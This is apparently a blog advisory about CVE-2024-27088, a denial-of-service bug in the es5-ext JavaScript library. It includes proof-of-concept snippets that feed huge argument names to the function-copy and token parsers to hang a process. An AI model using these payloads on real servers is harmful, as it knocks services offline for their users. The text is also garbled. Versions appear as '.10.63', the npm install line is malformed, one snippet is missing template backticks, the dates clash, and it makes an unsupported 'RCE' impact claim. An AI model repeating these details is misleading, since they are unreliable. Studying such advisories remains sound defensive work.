On February 29, 2024, a new vulnerability identified as CVE-2024-27088 was revealed in the popular es5-ext library. If you write JavaScript and use this package, especially for Node.js or browser-based projects that need ECMAScript 5 extensions, you'll want to keep reading.
This vulnerability, affecting versions before .10.63, can let attackers craft _nasty functions_ (with very long or tricky argument names) and break your app or even a server by making it hang or stall.
What is es5-ext?
es5-ext is a JavaScript library that fills in holes in ECMAScript 5 implementation. It provides polyfills, extension methods, and utility functions. Two of its features, Function.prototype.copy and Function.prototype.toStringTokens, are at the center of this CVE.
function#copy: Copies a function, including its argument names and body.
- function#toStringTokens: Returns an object describing a function's signature (name, params, body, etc.).
Both need to scan the function's string representation to parse argument names and defaults. If they aren't careful, attackers can trick them with wild, weird, or _way too long_ names.
Imagine someone does this
// This is a very, very long argument name:
const longName = 'a'.repeat(10**6); // 1 million 'a's
// Create a function with that name as an argument
const func = new Function(longName, 'return 42;');
const es5Ext = require('es5-ext/function/copy');
es5Ext.copy(func);
// OR
require('es5-ext/function/to-string-tokens')(func);
If you run this code with a vulnerable es5-ext version (before .10.63), your script may _hang forever_ or kill your server. The parser blows up, stuck parsing never-ending or deeply nested argument names.
Here's a more crafted example an attacker could send to a server (imagine in a payload)
// Imagine this could come from user input in a dangerous setup!
const maliciousName = "x=" + "1".repeat(999999); // complex default assignment
const evilFuncSrc = function (${maliciousName}) { return 42; };
const evilFunc = eval((${evilFuncSrc}));
const getTokens = require('es5-ext/function/to-string-tokens');
// This code can hang for a LONG time
getTokens(evilFunc);
With enough complexity, the regular expression and parser used inside es5-ext chokes and spins forever.
Why Does This Happen?
Inside es5-ext, the code tries to break apart any function into tokens to copy or analyze it. But it's not set up to defend itself against pathological or oversized argument names or super-complex default values. Normal JavaScript parsers set some limits or optimize for safety — but es5-ext’s regex-based approach can be tricked into stalling.
In code, what's happening is like
// Pseudocode for what’s happening inside es5-ext
function parseArgs(func) {
// func.toString() gives the full code!
const src = func.toString();
// A regex tries to find and parse argument names (not built for huge/complex input!)
const match = src.match(/function\s*[^(]*\(([^)]*)\)/);
// Now you can imagine how a million-character argument can break things!
}
Impact
- Denial of Service (DoS): Your server/script will just freeze, eating 100% CPU.
- RCE Enhancement: In rare setups where code from users is reflected/executed (e.g., serverless function runners, function serialization systems), this can make things even worse.
- Web App DoS: If your web app uses es5-ext and parses user-supplied functions, a remote attacker could cause a stall and break the app for everyone.
How To Fix
Update immediately:
The bug is fixed starting in version .10.63.
You can patch via npm
npm install es5-ext@^.10.63
or in your package.json
"dependencies": {
"es5-ext": "^.10.63"
}
Avoid using dangerous APIs like Function.prototype.copy and Function.prototype.toStringTokens on _any function that's ever received as user input_.
References and Learn More
- ➡️ Original GitHub Advisory
- ➡️ NVD Entry CVE-2024-27088
- ➡️ Patch Commit
- es5-ext npm page
Final Thoughts
Even libraries that just “fill in some gaps” can have dangerous holes. If you run or maintain JavaScript servers, or package up browser apps for users, make sure you’re not on an old es5-ext. Always be wary when parsing or copying functions that may come from user input.
Don’t let a weirdly-named function take your whole app down!
If you found this helpful, share it with your team. Stay safe out there!
Timeline
Published on: 02/26/2024 17:15:11 UTC
Last modified on: 02/26/2024 22:10:40 UTC